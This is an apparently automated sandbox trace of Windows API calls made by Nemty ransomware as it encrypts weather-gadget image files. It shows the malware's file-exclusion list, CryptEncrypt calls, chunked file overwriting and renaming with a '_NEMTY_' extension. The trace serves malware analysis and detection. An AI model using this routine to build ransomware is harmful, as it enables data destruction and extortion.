(lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="rsa") returned -1 [0161.618] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="NTDETECT.COM") returned -1 [0161.618] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="ntldr") returned -1 [0161.618] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="MSDOS.SYS") returned -1 [0161.618] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="IO.SYS") returned -1 [0161.618] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="boot.ini") returned 1 [0161.618] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="boot.ini") returned 1 [0161.618] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0161.618] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="ntuser.dat") returned -1 [0161.618] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="desktop.ini") returned 1 [0161.618] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="CONFIG.SYS") returned 1 [0161.618] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="RECYCLER") returned -1 [0161.618] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0161.618] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="bootmgr") returned 1 [0161.618] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="programdata") returned -1 [0161.619] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="appdata") returned 1 [0161.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0161.619] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-crescent_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0161.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0161.619] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-crescent_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x6345da8, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waning-crescent_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 51 [0161.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0161.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340148 [0161.619] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-crescent_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0161.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0161.619] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-crescent_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x6345da8, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waning-crescent_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 51 [0161.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0161.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340148 | out: hHeap=0x4f90000) returned 1 [0161.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0161.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0161.619] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-crescent_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0161.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0161.619] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-crescent_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x6345da8, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waning-crescent_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 51 [0161.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0161.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0161.619] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-crescent_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0161.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0161.619] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-crescent_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x6345d60, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waning-crescent_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 51 [0161.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0161.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63400d0 [0161.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0161.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63401c8 [0161.619] Sleep (dwMilliseconds=0x5) [0161.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x13fc4b10, dwHighDateTime=0x1d561e8)) [0161.640] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x13fc4b10, dwHighDateTime=0x1d561e8)) [0161.640] GetLastError () returned 0x5 [0161.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0161.640] GetLastError () returned 0x5 [0161.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0161.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0161.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0161.640] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0161.640] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0161.641] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0161.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402c0 [0161.641] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402c0, pcchString=0x653e91c | out: pszString="5n2EVAMaGmrq+sJ46vJ1tKy8ZUy7bBrLQh9Dpm+Z4WJHISbF/e1j7KRu64/O6Sde\r\nGpZLuY+LwSea3VG+gRKZoiHWJudlVxTDT9MFrmJEt+hT3qPlsgYk13gbeXIX8xeE\r\n1CxUxdDvrUaY/DJ0ahdn2sZLHuUBFJkM3PVoHZwckTX1q1xM8RIE7eBkcDH7Dmua\r\nr59rk4suh/vmyXIM7xR32qfto6od0GkIOyYiQeoyou0vAzXSPBi9rqvFwem6Xn7f\r\nmsMGLMiRceCCtx4VUOQpWeYSaUpjFuwmk2gsejt1cskqKqVNq9vnvbs0duEn7b+Q\r\nWpAtvElToPhXfwV/XhAqnQ==\r\n", pcchString=0x653e91c) returned 1 [0161.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0161.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0161.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0161.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0161.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402c0 [0161.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0161.641] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waning-crescent_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waning-crescent_partly-cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0161.641] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0161.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0161.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.641] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.651] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.660] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.669] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.685] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.686] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.686] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.695] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.695] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.704] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.704] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.723] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.723] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.766] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.766] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.766] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.766] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.779] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.779] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.785] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.786] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0161.786] CloseHandle (hObject=0xffffffff) returned 0 [0161.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340430 [0161.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0161.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0161.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0161.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0161.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0161.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6343fe8 [0161.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63440e0 [0161.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0161.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0161.786] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waning-crescent_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waning-crescent_partly-cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waning-crescent_partly-cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waning-crescent_partly-cloudy.png._nemty_kgobjgd_")) returned 0 [0161.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440e0 | out: hHeap=0x4f90000) returned 1 [0161.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0161.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0161.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0161.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0161.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0161.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0161.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0161.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0161.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0161.786] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87252ece, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87252ece, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b143101, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x21bc, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_moon-waning-gibbous.png", cAlternateFileName="")) returned 1 [0161.786] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2=".") returned 1 [0161.786] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="..") returned 1 [0161.786] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="...") returned 1 [0161.786] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="windows") returned -1 [0161.786] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="$RECYCLE.BIN") returned 1 [0161.786] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="rsa") returned -1 [0161.787] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="NTDETECT.COM") returned -1 [0161.787] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="ntldr") returned -1 [0161.787] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="MSDOS.SYS") returned -1 [0161.787] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="IO.SYS") returned -1 [0161.787] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="boot.ini") returned 1 [0161.787] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="boot.ini") returned 1 [0161.787] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="AUTOEXEC.BAT") returned 1 [0161.787] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="ntuser.dat") returned -1 [0161.787] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="desktop.ini") returned 1 [0161.787] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="CONFIG.SYS") returned 1 [0161.787] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="RECYCLER") returned -1 [0161.787] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="BOOTSECT.BAK") returned 1 [0161.787] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="bootmgr") returned 1 [0161.787] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="programdata") returned -1 [0161.787] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous.png", lpString2="appdata") returned 1 [0161.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 